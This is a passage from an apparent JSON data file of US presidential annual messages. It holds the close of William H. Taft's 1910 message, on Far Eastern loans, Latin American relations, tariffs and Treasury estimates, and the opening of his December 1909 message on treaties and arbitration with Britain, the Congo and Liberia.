United States to increased and more\nimportant relations between the countries and the desire of the United\nStates to contribute to the larger economic and commercial development due\nto the new regime in Turkey.The rapid development now beginning in that ancient empire and the marked\nprogress and increased commercial importance of Bulgaria, Roumania, and\nServia make it particularly opportune that the possibilities of American\ncommerce in the Near East should receive due attention. MONTENEGRO.The National Skoupchtina having expressed its will that the Principality of\nMontenegro be raised to the rank of Kingdom, the Prince of Montenegro on\nAugust 15 last assumed the title of King of Montenegro. It gave me pleasure\nto accord to the new kingdom the recognition of the United States.THE FAR EAST.The center of interest in Far Eastern affairs during the past year has\nagain been China.It is gratifying to note that the negotiations for a loan to the Chinese\nGovernment for the construction of the trunk railway lines from Hankow\nsouthward to Canton and westward through the Yangtse Valley, known as the\nHukuang Loan, were concluded by the representatives of the various\nfinancial groups in May last and the results approved by their respective\ngovernments. The agreement, already initialed by the Chinese Government, is\nnow awaiting formal ratification. The basis of the settlement of the terms\nof this loan was one of exact equality between America, Great Britain,\nFrance, and Germany in respect to financing the loan and supplying\nmaterials for the proposed railways and their future branches.The application of the principle underlying the policy of the United States\nin regard to the Hukuang Loan, viz., that of the internationalization of\nthe foreign interest in such of the railways of China as may be financed by\nforeign countries, was suggested on a broader scale by the Secretary of\nState in a proposal for internationalization and commercial neutralization\nof all the railways of Manchuria. While the principle which led to the\nproposal of this Government was generally admitted by the powers to whom it\nwas addressed, the Governments of Russia and Japan apprehended practical\ndifficulties in the execution of the larger plan which prevented their\nready adherence. The question of constructing the Chinchow-Aigun railway by\nmeans of an international loan to China is, however, still the subject of\nfriendly discussion by the interested parties.The policy of this Government in these matters has been directed by a\ndesire to make the use of American capital in the development of China an\ninstrument in the promotion of China's welfare and material prosperity\nwithout prejudice to her legitimate rights as an independent political\npower.This policy has recently found further exemplification in the assistance\ngiven by this Government to the negotiations between China and a group of\nAmerican bankers for a loan of $50,000,000 to be employed chiefly in\ncurrency reform. The confusion which has from ancient times existed in the\nmonetary usages of the Chinese has been one of the principal obstacles to\ncommercial intercourse with that people. The United States in its Treaty of\n1903 with China obtained a pledge from the latter to introduce a uniform\nnational coinage, and the following year, at the request of China, this\nGovernment sent to Peking a member of the International Exchange\nCommission, to discuss with the Chinese Government the best methods of\nintroducing the reform. In 1908 China sent a Commissioner to the United\nStates to consult with American financiers as to the possibility of\nsecuring a large loan with which to inaugurate the new currency system, but\nthe death of Their Majesties, the Empress Dowager and the Emperor of China,\ninterrupted the negotiations, which were not resumed until a few months\nago, when this Government was asked to communicate to the bankers concerned\nthe request of China for a loan of $50,000,000 for the purpose under\nreview. A preliminary agreement between the American group and China has\nbeen made covering the loan.For the success of this loan and the contemplated reforms which are of the\ngreatest importance to the commercial interests of the United States and\nthe civilized world at large, it is realized that an expert will be\nnecessary, and this Government has received assurances from China that such\nan adviser, who shall be an American, will be engaged.It is a matter of interest to Americans to note the success which is\nattending the efforts of China to establish gradually a system of\nrepresentative government. The provincial assemblies were opened in\nOctober, 1909, and in October of the present year a consultative body, the\nnucleus of the future national parliament, held its first session at\nPeking.The year has further been marked by two important international agreements\nrelating to Far Eastern affairs. In the Russo-Japanese Agreement relating\nto Manchuria, signed July 4, 1910, this Government was gratified to note an\nassurance of continued peaceful conditions in that region and the\nreaffirmation of the policies with respect to China to which the United\nStates together with all other interested powers are alike solemnly\ncommitted.The treaty annexing Korea to the Empire of Japan, promulgated August 29,\n1910, marks the final step in a process of control of the ancient empire by\nher powerful neighbor that has been in progress for several years past. In\ncommunicating the fact of annexation the Japanese Government gave to the\nGovernment of the United States assurances of the full protection of the\nrights of American citizens in Korea under the changed conditions.Friendly visits of many distinguished persons from the Far East have been\nmade during the year. Chief among these were Their Imperial Highnesses\nPrinces Tsai-tao and Tsai-Hsun of China; and His Imperial Highness Prince\nHigashi Fushimi, and Prince Tokugawa, President of the House of Peers of\nJapan. The Secretary of War has recently visited Japan and China in\nconnection with his tour to the Philippines, and a large delegation of\nAmerican business men are at present traveling in China. This exchange of\nfriendly visits has had the happy effect of even further strengthening our\nfriendly international relations.LATIN AMERICA.During the past year several of our southern sister Republics celebrated\nthe one hundredth anniversary of their independence. In honor of these\nevents, special embassies were sent from this country to Argentina, Chile,\nand Mexico, where the gracious reception and splendid hospitality extended\nthem manifested the cordial relations and friendship existing between those\ncountries and the United States, relations which I am happy to believe have\nnever before been upon so high a plane and so solid a basis as at present.The Congressional commission appointed under a concurrent resolution to\nattend the festivities celebrating the centennial anniversary of Mexican\nindependence, together with a special ambassador, were received with the\nhighest honors and with the greatest cordiality, and returned with the\nreport of the bounteous hospitality and warm reception of President Diaz\nand the Mexican people, which left no doubt of the desire of the\nimmediately neighboring Republic to continue the mutually beneficial and\nintimate relations which I feel sure the two governments will ever\ncherish.At the Fourth Pan-American Conference which met in Buenos Aires during July\nand August last, after seven weeks of harmonious deliberation, three\nconventions were signed providing for the regulation of trade-marks,\npatents, and copyrights, which when ratified by the different Governments,\nwill go far toward furnishing to American authors, patentees, and owners of\ntrade-marks the protection needed in localities where heretofore it has\nbeen either lacking or inadequate. Further, a convention for the\narbitration of pecuniary claims was signed and a number of important\nresolutions passed. The Conventions will in due course be transmitted to\nthe Senate, and the report of the Delegation of the United States will be\ncommunicated to the Congress for its information. The special cordiality\nbetween representative men from all parts of America which was shown at\nthis Conference cannot fail to react upon and draw still closer the\nrelations between the countries which took part in it.The International Bureau of American Republics is doing a broad and useful\nwork for Pan American commerce and comity. Its duties were much enlarged by\nthe International Conference of American States at Buenos Aires and its\nname was shortened to the more practical and expressive term of Pan\nAmerican Union. Located now in its new building, which was specially\ndedicated April 26 of this year to the development of friendship, trade and\npeace among the American nations, it has improved instrumentalities to\nserve the twenty-two republics of this hemisphere.I am glad to say that the action of the United States in its desire to\nremove imminent danger of war between Peru and Ecuador growing out of a\nboundary dispute, with the cooperation of Brazil and the Argentine Republic\nas joint mediators with this Government, has already resulted successfully\nin preventing war. The Government of Chile, while not one of the mediators,\nlent effective aid in furtherance of a preliminary agreement likely to lead\non to an amicable settlement, and it is not doubted that the good offices\nof the mediating Powers and the conciliatory cooperation of the Governments\ndirectly interested will finally lead to a removal of this perennial cause\nof friction between Ecuador and Peru. The inestimable value of cordial\ncooperation between the sister republics of America for the maintenance of\npeace in this hemisphere has never been more clearly shown than in this\nmediation, by which three American Governments have given to this\nhemisphere the honor of first invoking the most far-reaching provisions of\nThe Hague Convention for the pacific settlement of international disputes.There has been signed by the representatives of the United States and\nMexico a protocol submitting to the United States-Mexican Boundary\nCommission (whose membership for the purpose of this case is to be\nincreased by the addition of a citizen of Canada) the question of\nsovereignty over the Chamizal Tract which lies within the present physical\nboundaries of the city of E1 Paso, Tex. The determination of this question\nwill remove a source of no little annoyance to the two Governments.The Republic of Honduras has for many years been burdened with a heavy\nbonded debt held in Europe, the interest on which long ago fell in arrears.\nFinally conditions were such that it became imperative to refund the debt\nand place the finances of the Republic upon a sound basis. Last year a\ngroup of American bankers undertook to do this and to advance funds for\nrailway and other improvements contributing directly to the country's\nprosperity and commerce--an arrangement which has long been desired by this\nGovernment. Negotiations to this end have been under way for more than a\nyear and it is now confidently believed that a short time will suffice to\nconclude an arrangement which will be satisfactory to the foreign\ncreditors, eminently advantageous to Honduras, and highly creditable to the\njudgment and foresight of the Honduranean Government. This is much to be\ndesired since, as recognized by the Washington Conventions, a strong\nHonduras would tend immensely to the progress and prosperity of Central\nAmerica.During the past year the Republic of Nicaragua has been the scene of\ninternecine struggle. General Zelaya, for seventeen years the absolute\nruler of Nicaragua, was throughout his career the disturber of Central\nAmerica and opposed every plan for the promotion of peace and friendly\nrelations between the five republics. When the people of Nicaragua were\nfinally driven into rebellion by his lawless exactions, he violated the\nlaws of war by the unwarranted execution of two American citizens who had\nregularly enlisted in the ranks of the revolutionists. This and other\noffenses made it the duty of the American Government to take measures with\na view to ultimate reparation and for the safeguarding of its interests.\nThis involved the breaking off of all diplomatic relations with the Zelaya\nGovernment for the reasons laid down in a communication from the Secretary\nof State, which also notified the contending factions in Nicaragua that\nthis Government would hold each to strict accountability for outrages on\nthe rights of American citizens. American forces were sent to both coasts\nof Nicaragua to be in readiness should occasion arise to protect Americans\nand their interests, and remained there until the war was over and peace\nhad returned to that unfortunate country. These events, together with\nZelaya's continued exactions, brought him so clearly to the bar of public\nopinion that he was forced to resign and to take refuge abroad.In the above-mentioned communication of the Secretary of State to the\nCharge d'Affaires of the Zelaya Government, the opinion was expressed that\nthe revolution represented the wishes of the majority of the Nicaraguan\npeople. This has now been proved beyond doubt by the fact that since the\ncomplete overthrow of the Madriz Government and the occupation of the\ncapital by the forces of the revolution, all factions have united to\nmaintain public order and as a result of discussion with an Agent of this\nGovernment, sent to Managua at the request of the Provisional Government,\ncomprehensive plans are being made for the future welfare of Nicaragua,\nincluding the rehabilitation of public credit. The moderation and\nconciliatory spirit shown by the various factions give ground for the\nconfident hope that Nicaragua will soon take its rightful place among the\nlaw-abiding and progressive countries of the world.It gratifies me exceedingly to announce that the Argentine Republic some\nmonths ago placed with American manufacturers a contract for the\nconstruction of two battle-ships and certain additional naval equipment.\nThe extent of this work and its importance to the Argentine Republic make\nthe placing of the bid an earnest of friendly feeling toward the United\nStates.TARIFF NEGOTIATIONS.The new tariff law, in section 2, respecting the maximum and minimum\ntariffs of the United States, which provisions came into effect on April 1,\n1910, imposed upon the President the responsibility of determining prior to\nthat date whether or not any undue discrimination existed against the\nUnited States and its products in any country of the world with which we\nsustained commercial relations.In the case of several countries instances of apparent undue discrimination\nagainst American commerce were found to exist. These discriminations were\nremoved by negotiation. Prior to April 1, 1910, when the maximum tariff was\nto come into operation with respect to importations from all those\ncountries in whose favor no proclamation applying the minimum tariff should\nbe issued by the President, one hundred and thirty-four such proclamations\nwere issued. This series of proclamations embraced the entire commercial\nworld, and hence the minimum tariff of the United States has been given\nuniversal application, thus testifying to the satisfactory character of our\ntrade relations with foreign countries.Marked advantages to the commerce of the United States were obtained\nthrough these tariff settlements. Foreign nations are fully cognizant of\nthe fact that under section 2 of the tariff act the President is required,\nwhenever he is satisfied that the treatment accorded by them to the\nproducts of the United States is not such as to entitle them to the\nbenefits of the minimum tariff of the United States, to withdraw those\nbenefits by proclamation giving ninety days' notice, after which the\nmaximum tariff will apply to their dutiable products entering the United\nStates. In its general operation this section of the tariff law has thus\nfar proved a guaranty of continued commercial peace, although there are\nunfortunately instances where foreign governments deal arbitrarily with\nAmerican interests within their jurisdiction in a manner injurious and\ninequitable.The policy of broader and closer trade relations with the Dominion of\nCanada which was initiated in the adjustment of the maximum and minimum\nprovisions of the Tariff Act of August, 1909, has proved mutually\nbeneficial. It justifies further efforts for the readjustment of the\ncommercial relations of the two countries so that their commerce may follow\nthe channels natural to contiguous countries and be commensurate with the\nsteady expansion of trade and industry on both sides of the boundary line.\nThe reciprocation on the part of the Dominion Government of the sentiment\nwhich was expressed by this Government was followed in October by the\nsuggestion that it would be glad to have the negotiations, which had been\ntemporarily suspended during the summer, resumed. In accordance with this\nsuggestion the Secretary of State, by my direction, dispatched two\nrepresentatives of the Department of State as special commissioners to\nOttawa to confer with representatives of the Dominion Government. They were\nauthorized to take such steps for formulating a reciprocal trade agreement\nas might be necessary and to receive and consider any propositions which\nthe Dominion Government might care to submit.Pursuant to the instructions issued conferences were held by these\ncommissioners with officials of the Dominion Government at Ottawa in the\nearly part of November.The negotiations were conducted on both sides in a spirit of mutual\naccommodation. The discussion of the common commercial interests of the two\ncountries had for its object a satisfactory basis for a trade arrangement\nwhich offers the prospect of a freer interchange for the products of the\nUnited States and of Canada. The conferences were adjourned to be resumed\nin Washington in January, when it is hoped that the aspiration of both\nGovernments for a mutually advantageous measure of reciprocity will be\nrealized.FOSTERING FOREIGN TRADE.All these tariff negotiations, so vital to our commerce and industry, and\nthe duty of jealously guarding the equitable and just treatment of our\nproducts, capital, and industry abroad devolve upon the Department of\nState.The Argentine battle-ship contracts, like the subsequent important one for\nArgentine railway equipment, and those for Cuban Government vessels, were\nsecured for our manufacturers largely through the good offices of the\nDepartment of State.The efforts of that Department to secure for citizens of the United States\nequal opportunities in the markets of the world and to expand American\ncommerce have been most successful. The volume of business obtained in new\nfields of competition and upon new lines is already very great and Congress\nis urged to continue to support the Department of State in its endeavors\nfor further trade expansion.Our foreign trade merits the best support of the Government and the most\nearnest endeavor of our manufacturers and merchants, who, if they do not\nalready in all cases need a foreign market, are certain soon to become\ndependent on it. Therefore, now is the time to secure a strong position in\nthis field.AMERICAN BRANCH BANKS ABROAD.I cannot leave this subject without emphasizing the necessity of such\nlegislation as will make possible and convenient the establishment of\nAmerican banks and branches of American banks in foreign countries. Only by\nsuch means can our foreign trade be favorably financed, necessary credits\nbe arranged, and proper avail be made of commercial opportunities in\nforeign countries, and most especially in Latin America.AID TO OUR FOREIGN MERCHANT MARINE.Another instrumentality indispensable to the unhampered and natural\ndevelopment of American commerce is merchant marine. All maritime and\ncommercial nations recognize the importance of this factor. The greatest\ncommercial nations, our competitors, jealously foster their merchant\nmarine. Perhaps nowhere is the need for rapid and direct mail, passenger\nand freight communication quite so urgent as between the United States and\nLatin America. We can secure in no other quarter of the world such\nimmediate benefits in friendship and commerce as would flow from the\nestablishment of direct lines Of communication with the countries of Latin\nAmerica adequate to meet the requirements of a rapidly increasing\nappreciation of the reciprocal dependence of the countries of the Western\nHemisphere upon each other's products, sympathies and assistance.I alluded to this most important subject in my last annual message; it has\noften been before you and I need not recapitulate the reasons for its\nrecommendation. Unless prompt action be taken the completion of the Panama\nCanal will find this the only great commercial nation unable to avail in\ninternational maritime business of this great improvement in the means of\nthe world's commercial intercourse.Quite aside from the commercial aspect, unless we create a merchant marine,\nwhere can we find the seafaring population necessary as a natural naval\nreserve and where could we find, in case of war, the transports and\nsubsidiary vessels without which a naval fleet is arms without a body? For\nmany reasons I cannot too strongly urge upon the Congress the passage of a\nmeasure by mail subsidy or other subvention adequate to guarantee the\nestablishment and rapid development of an American merchant marine, and the\nrestoration of the American flag to its ancient place upon the seas.Of course such aid ought only to be given under conditions of publicity of\neach beneficiary's business and accounts which would show that the aid\nreceived was needed to maintain the trade and was properly used for that\npurpose.FEDERAL PROTECTION TO ALIENS.With our increasing international intercourse, it becomes incumbent upon me\nto repeat more emphatically than ever the recommendation which I made in my\nInaugural Address that Congress shall at once give to the Courts of the\nUnited States jurisdiction to punish as a crime the violation of the rights\nof aliens secured by treaty with the United States, in order that the\ngeneral government of the United States shall be able, when called upon by\na friendly nation, to redeem its solemn promise by treaty to secure to the\ncitizens or subjects of that nation resident in the United States, freedom\nfrom violence and due process of law in respect to their life, liberty and\nproperty.MERIT SYSTEM FOR DIPLOMATIC AND CONSULAR SERVICE.I also strongly commend to the favorable action of the Congress the\nenactment of a law applying to the diplomatic and consular service the\nprinciples embodied in Section 1753 of the Revised Statutes of the United\nStates, in the Civil Service Act of January 16, 1883, and the Executive\nOrders of June 27, 1906, and of November 26, 1909. The excellent results\nwhich have attended the partial application of Civil Service principles to\nthe diplomatic and consular services are an earnest of the benefit to be\nwrought by a wider and more permanent extension of those principles to both\nbranches of the foreign service. The marked improvement in the consular\nservice during the four years since the principles of the Civil Service Act\nwere applied to that service in a limited way, and the good results already\nnoticeable from a similar application of civil service principles to the\ndiplomatic service a year ago, convince me that the enactment into law of\nthe general principles of the existing executive regulations could not fail\nto effect further improvement of both branches of the foreign service,\noffering as it would by its assurance of permanency of tenure and promotion\non merit, an inducement for the entry of capable young men into the service\nand an incentive to those already in to put forth their best efforts to\nattain and maintain that degree of efficiency which the interests of our\ninternational relations and commerce demand.GOVERNMENT OWNERSHIP OF OUR EMBASSY AND LEGATION PREMISES.During many years past appeals have been made from time to time to Congress\nin favor of Government ownership of embassy and legation premises abroad.\nThe arguments in favor of such ownership have been many and oft repeated\nand are well known to the Congress. The acquisition by the Government of\nsuitable residences and offices for its diplomatic officers, especially in\nthe capitals of the Latin-American States and of Europe, is so important\nand necessary to an improved diplomatic service that I have no hesitation\nin urging upon the Congress the passage of some measure similar to that\nfavorably reported by the House Committee on Foreign Affairs on February\n14, 1910 (Report No. 438), that would authorize the gradual and annual\nacquisition of premises for diplomatic use.The work of the Diplomatic Service is devoid of partisanship; its\nimportance should appeal to every American citizen and should receive the\ngenerous consideration of the Congress.TREASURY DEPARTMENT.ESTIMATES FOR NEXT YEAR'S EXPENSES.Every effort has been made by each department chief to reduce the estimated\ncost of his department for the ensuing fiscal year ending June 30, 1912. I\nsay this in order that Congress may understand that these estimates thus\nmade present the smallest sum which will maintain the departments, bureaus,\nand offices of the Government and meet its other obligations under existing\nlaw, and that a cut of these estimates would result in embarrassing the\nexecutive branch of the Government in the performance of its duties. This\nremark does not apply to the river and harbor estimates, except to those\nfor expenses of maintenance and the meeting of obligations under authorized\ncontracts, nor does it apply to the public building bill nor to the navy\nbuilding program. Of course, as to these Congress could withhold any part\nor all of the estimates for them without interfering with the discharge of\nthe ordinary obligations of the Government or the performance of the\nfunctions of its departments, bureaus, and offices.A FIFTY-TWO MILLION CUT.The final estimates for the year ending June 30, 1912, as they have been\nsent to the Treasury, on November 29 of this year, for the ordinary\nexpenses of the Government, including those for public buildings, rivers\nand harbors, and the navy building program, amount to $630,494,013.12. This\nis $52,964,887.36 less than the appropriations for the fiscal year ending\nJune 30, 1911. It is $16,883,153.44 less than the total estimates,\nincluding supplemental estimates submitted to Congress by the Treasury for\nthe year 1911, and is $5,574,659.39 less than the original estimates\nsubmitted by the Treasury for 1911.These figures do not include the appropriations for the Panama Canal, the\npolicy in respect to which ought to be, and is, to spend as much each year\nas can be economically and effectively expended in order to complete the\nCanal as promptly as possible, and, therefore, the ordinary motive for\ncutting down the expense of the Government does not apply to appropriations\nfor this purpose. It will be noted that the estimates for the Panama Canal\nfor the ensuing year are more than fifty-six millions of dollars, an\nincrease of twenty millions over the amount appropriated for this year--a\ndifference due to the fact that the estimates for 1912 include something\nover nineteen millions for the fortification of the Canal. Against the\nestimated expenditures of $630,494,013.12, the Treasury has estimated\nreceipts for next year $680,000,000, making a probable surplus of ordinary\nreceipts over ordinary expenditures of about $50,000,000.A table showing in detail the estimates and the comparisons referred to\nfollows.TYPICAL ECONOMIES.The Treasury Department is one of the original departments of the\nGovernment. With the changes in the monetary system made from time to time\nand with the creation of national banks, it was thought necessary to\norganize new bureaus and divisions which were added in a somewhat haphazard\nway and resulted in a duplication of duties which might well now be ended.\nThis lack of system and economic coordination has attracted the attention\nof the head of that Department who has been giving his time for the last\ntwo years, with the aid of experts and by consulting his bureau chiefs, to\nits reformation. He has abolished four hundred places in the civil service\nwithout at all injuring its efficiency. Merely to illustrate the character\nof the reforms that are possible, I shall comment on some of the specific\nchanges that are being made, or ought to be made by legislative aid.AUDITING SYSTEM.The auditing system in vogue is as old as the Government and the methods\nused are antiquated. There are six Auditors and seven Assistant Auditors\nfor the nine departments, and under the present system the only function\nwhich the Auditor of a department exercises is to determine, on accounts\npresented by disbursing officers, that the object of the expenditure was\nwithin the law and the appropriation made by Congress for the purpose on\nits face, and that the calculations in the accounts are correct. He does\nnot examine the merits of the transaction or determine the reasonableness\nof the price paid for the articles purchased, nor does he furnish any\nsubstantial check upon disbursing officers and the heads of departments or\nbureaus with sufficient promptness to enable the Government to recoup\nitself in full measure for unlawful expenditure. A careful plan is being\ndevised and will be presented to Congress with the recommendation that the\nforce of auditors and employees under them be greatly reduced, thereby\neffecting substantial economy. But this economy will be small compared with\nthe larger economy that can be effected by consolidation and change of\nmethods. The possibilities in this regard have been shown in the reduction\nof expenses and the importance of methods and efficiency in the office of\nthe Auditor for the Post Office Department, who, without in the slightest\ndegree impairing the comprehensiveness and efficiency of his work, has cut\ndown the expenses of his office $120,000 a year.Statement of estimates of appropriations for the fiscal years 1912 and\n1911, and of appropriations for 1911, showing increases and decreases. -\nFinal Estimates for 1912 as of November 29 - Original Estimates submitted\nby the Treasury for 1911 - Total Estimates for 1911 including supplementals\n- Appropriations for 1911 - Increase (+) and decrease (-), 1912 estimates\nagainst 1911 total estimates - Increase (+) and decrease (-), 1912\nestimates against 1911 total appropriations - Increase (+) and decrease\n(-), 1911 estimates against 1911 total appropriationsLegislature - $13,426,805.73 - $13,169,679.70 - $13,169,679.70 -\n$12,938,048.00 - + $257,126.03 - + $488,757.73 - + $231,631.70Executive - 998,170.00 - 472,270.00 - 722,270.00 - 870,750.00 - +\n275,900.00 - + 127,420.00 - - 148,480.00State Department: - 4,875,576.41 - 4,875,301.41 - 4,749,801.41 -\n5,046,701.41 - + 125,775.00 - - 171,125.00 - - 296,900.00TREASURY DEPARTMENT: Treasury Department proper - 68,735,451.00 -\n69,865,240.00 - 70,393,543.75 - 69,973,434.61 - - 1,658,092.75 - -\n1,237,983.61 - + 420,109.14Public buildings and works - 11,864,545.60 - 6,198,365.60 - 7,101,465.60 -\n5,565,164.00 - + 4,763,080.00 - + 6,299,381.60 - + 1,536,301.60Territorial governments - 202,150.00 - 287,350.00 - 292,350.00 - 282,600.00\n- - 90,200.00 - - 80,450.00 - + 9,750.00Independent offices - 2,638,695.12 - 2,400,695.12 - 2,492,695.12 -\n2,128,695.12 - + 146,000.00 - + 510,000.00 - + 364,000.00District of Columbia - 13,602,785.90 - 11,884,928.49 - 12,108,878.49 -\n11,440,346.99 - + 1,492,907.41 - + 2,162,439.91 - + 668,532.50WAR DEPARTMENT: War Department proper - 120,104,260.12 - 124,165,656.28 -\n125,717,204.77 - 122,322,178.12 - - 5,612,944.65 - - 2,217,918.00 - +\n3,395,026.65Rivers and harbors - 28,232,438.00 - 28,232,465.00 - 28,232,465.00 -\n49,390,541.50 - - 27.00 - -21,158,103.50 - -21,158,076.50NAVY DEPARTMENT: Navy Department proper - 116,101,730.24 - 117,029,914.38 -\n119,768,860.83 - 119,596,870.46 - - 3,667,130.59 - - 3,495,140.22 - +\n171,990.37New navy building program - 12,840,428.00 - 12,844,122.00 - 12,844,122.00 -\n14,790,122.00 - - 3,694.00 - - 1,949,694.00 - - 1,946,000.00Interior Department - 189,151,875.00 - 191,224,182.90 - 193,948,582.02 -\n214,754,278.00 - - 4,796,707.02 - -25,602,403.00 - -20,805,698.98Post-Office Department proper - 1,697,490.00 - 1,695,690.00 - 1,695,690.00\n- 2,085,005.33 - + 1,800.00 - - 387,515.33 - - 389,315.33Deficiency in postal revenues - --------------- - 10,634,122.63 -\n10,634,122.63 - 10,634,122.63 - -10,634,122.65 - -10,634,122.63 -\n-----------------Department of Agriculture - 19,681,066.00 - 17,681,136.00 - 17,753,931.24 -\n17,821,836.00 - + 1,927,134.76 - + 1,859,230.00 - - 67,904.76Department of Commerce andLabor - 16,276,970.00 - 14,187,913.00 - 15,789,271.00 - 14,169,969.32 - +\n487,699.00 - + 2,107,000.68 - + 1,619,301.68Department of Justice - 10,063,576.00 - 9,518,640.00 - 9,962,233.00 -\n9,648,237.99 - + 101,343.00 - + 415,338.01 - + 313,995.01 -", 
+    "name": "William H. Taft"
+}
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+{
+    "date": "December 7, 1909", 
+    "speech": "The relations of the United States with all foreign governments have\ncontinued upon the normal basis of amity and good understanding, and are\nvery generally satisfactory. EUROPE.Pursuant to the provisions of the general treaty of arbitration concluded\nbetween the United States and Great Britain, April 4, 1908, a special\nagreement was entered into between the two countries on January 27, 1909,\nfor the submission of questions relating to the fisheries on the North\nAtlantic Coast to a tribunal to be formed from members of the Permanent\nCourt of Arbitration at The Hague.In accordance with the provisions of the special agreement the printed case\nof each Government was, on October 4 last, submitted to the other and to\nthe Arbitral Tribunal at The Hague, and the counter case of the United\nStates is now in course of preparation.The American rights under the fisheries article of the Treaty of 1818 have\nbeen a cause of difference between the United States and Great Britain for\nnearly seventy years. The interests involved are of great importance to the\nAmerican fishing industry, and the final settlement of the controversy will\nremove a source of constant irritation and complaint. This is the first\ncase involving such great international questions which has been submitted\nto the Permanent Court of Arbitration at The Hague.The treaty between the United States and Great Britain concerning the\nCanadian International boundary, concluded April 11, 1908, authorizes the\nappointment of two commissioners to define and mark accurately the\ninternational boundary line between the United States and the Dominion of\nCanada in the waters of the Passamaquoddy Bay, and provides for the\nexchange of briefs within the period of six months. The briefs were duly\npresented within the prescribed period, but as the commissioners failed to\nagree within six months after the exchange of the printed statements, as\nrequired by the treaty, it has now become necessary to resort to the\narbitration provided for in the article.The International Fisheries Commission appointed pursuant to and under the\nauthority of the Convention of April 11, 1908, between the United States\nand Great Britain, has completed a system of uniform and common\ninternational regulations for the protection and preservation of the food\nfishes in international boundary waters of the United States and Canada.The regulations will be duly submitted to Congress with a view to the\nenactment of such legislation as will be necessary under the convention to\nput them into operation.The Convention providing for the settlement of international differences\nbetween the United States and Canada, including the apportionment between\nthe two countries of certain of the boundary waters and the appointment of\ncommissioners to adjust certain other questions, signed on the 11th day of\nJanuary, 1909, and to the ratification of which the Senate gave its advice\nand consent on March 3, 1909, has not yet been ratified on the part of\nGreat Britain.Commissioners have been appointed on the part of the United States to act\njointly with Commissioners on the part of Canada in examining into the\nquestion of obstructions in the St. John River between Maine and New\nBrunswick, and to make recommendations for the regulation of the uses\nthereof, and are now engaged in this work.Negotiations for an international conference to consider and reach an\narrangement providing for the preservation and protection of the fur seals\nin the North Pacific are in progress with the Governments of Great Britain,\nJapan, and Russia. The attitude of the Governments interested leads me to\nhope for a satisfactory settlement of this question as the ultimate outcome\nof the negotiations.The Second Peace Conference recently held at The Hague adopted a convention\nfor the establishment of an International Prize Court upon the joint\nproposal of delegations of the United States, France, Germany and Great\nBritain. The law to be observed by the Tribunal in the decision of prize\ncases was, however, left in an uncertain and therefore unsatisfactory\nstate. Article 7 of the Convention provided that the Court was to be\ngoverned by the provisions of treaties existing between the belligerents,\nbut that \"in the absence of such provisions, the court shall apply the\nrules of international law. If no generally recognized rule exists, the\ncourt shall give judgment in accordance with the general principles of\njustice and equity.\" As, however, many questions in international maritime\nlaw are understood differently and therefore interpreted differently in\nvarious countries, it was deemed advisable not to intrust legislative\npowers to the proposed court, but to determine the rules of law properly\napplicable in a Conference of the representative maritime nations. Pursuant\nto an invitation of Great Britain a conference was held at London from\nDecember 2, 1908, to February 26, 1909, in which the following Powers\nparticipated: the United States, Austria-Hungary, France, Germany, Great\nBritain, Italy, Japan, the Netherlands, Russia and Spain. The conference\nresulted in the Declaration of London, unanimously agreed to and signed by\nthe participating Powers, concerning among other matters, the highly\nimportant subjects of blockade, contraband, the destruction of neutral\nprizes, and continuous voyages. The declaration of London is an eminently\nsatisfactory codification of the international maritime law, and it is\nhoped that its reasonableness and fairness will secure its general\nadoption, as well as remove one of the difficulties standing in the way of\nthe establishment of an International Prize Court.Under the authority given in the sundry civil appropriation act, approved\nMarch 4, 1909, the United States was represented at the International\nConference on Maritime Law at Brussels. The Conference met on the 28th of\nSeptember last and resulted in the signature ad referendum of a convention\nfor the unification of certain regulations with regard to maritime\nassistance and salvage and a convention for the unification of certain\nrules with regard to collisions at sea. Two new projects of conventions\nwhich have not heretofore been considered in a diplomatic conference,\nnamely, one concerning the limitation of the responsibility of shipowners,\nand the other concerning marine mortgages and privileges, have been\nsubmitted by the Conference to the different governments.The Conference adjourned to meet again on April 11, 1910.The International Conference for the purpose of promoting uniform\nlegislation concerning letters of exchange, which was called by the\nGovernment of the Netherlands to meet at The Hague in September, 1909, has\nbeen postponed to meet at that capital in June, 1910. The United States\nwill be appropriately represented in this Conference under the provision\ntherefor already made by Congress.The cordial invitation of Belgium to be represented by a fitting display of\nAmerican progress in the useful arts and inventions at the World's Fair to\nbe held at Brussels in 1910 remains to be acted upon by the Congress.\nMindful of the advantages to accrue to our artisans and producers in\ncompetition with their Continental rivals, I renew the recommendation\nheretofore made that provision be made for acceptance of the invitation and\nadequate representation in the Exposition. The question arising out of the\nBelgian annexation of the Independent State of the Congo, which has so long\nand earnestly preoccupied the attention of this Government and enlisted the\nsympathy of our best citizens, is still open, but in a more hopeful stage.\nThis Government was among the foremost in the great work of uplifting the\nuncivilized regions of Africa and urging the extension of the benefits of\ncivilization, education, and fruitful open commerce to that vast domain,\nand is a party to treaty engagements of all the interested powers designed\nto carry out that great duty to humanity. The way to better the original\nand adventitious conditions, so burdensome to the natives and so\ndestructive to their development, has been pointed out, by observation and\nexperience, not alone of American representatives, but by cumulative\nevidence from all quarters and by the investigations of Belgian Agents. The\nannounced programmes of reforms, striking at many of the evils known to\nexist, are an augury of better things. The attitude of the United States is\none of benevolent encouragement, coupled with a hopeful trust that the good\nwork, responsibly undertaken and zealously perfected to the accomplishment\nof the results so ardently desired, will soon justify the wisdom that\ninspires them and satisfy the demands of humane sentiment throughout the\nworld.A convention between the United States and Germany, under which the\nnonworking provisions of the German patent law are made inapplicable to the\npatents of American citizens, was concluded on February 23, 1909, and is\nnow in force. Negotiations for similar conventions looking to the placing\nof American inventors on the same footing as nationals have recently been\ninitiated with other European governments whose laws require the local\nworking of foreign patents.Under an appropriation made at the last session of the Congress, a\ncommission was sent on American cruisers to Monrovia to investigate the\ninterests of the United States and its citizens in Liberia. Upon its\narrival at Monrovia the commission was enthusiastically received, and\nduring its stay in Liberia was everywhere met with the heartiest\nexpressions of good will for the American Government and people and the\nhope was repeatedly expressed on all sides that this Government might see\nits way clear to do something to relieve the critical position of the\nRepublic arising in a measure from external as well as internal and\nfinancial embarrassments. The Liberian Government afforded every facility\nto the Commission for ascertaining the true state of affairs. The\nCommission also had conferences with representative citizens, interested\nforeigners and the representatives of foreign governments in Monrovia.\nVisits were made to various parts of the Republic and to the neighboring\nBritish colony of Sierra Leone, where the Commission was received by and\nconferred with the Governor.It will be remembered that the interest of the United States in the\nRepublic of Liberia springs from the historical fact of the foundation of\nthe Republic by the colonization of American citizens of the African race.\nIn an early treaty with Liberia there is a provision under which the United\nStates may be called upon for advice or assistance. Pursuant to this\nprovision and in the spirit of the moral relationship of the United States\nto Liberia, that Republic last year asked this Government to lend\nassistance in the solution of certain of their national 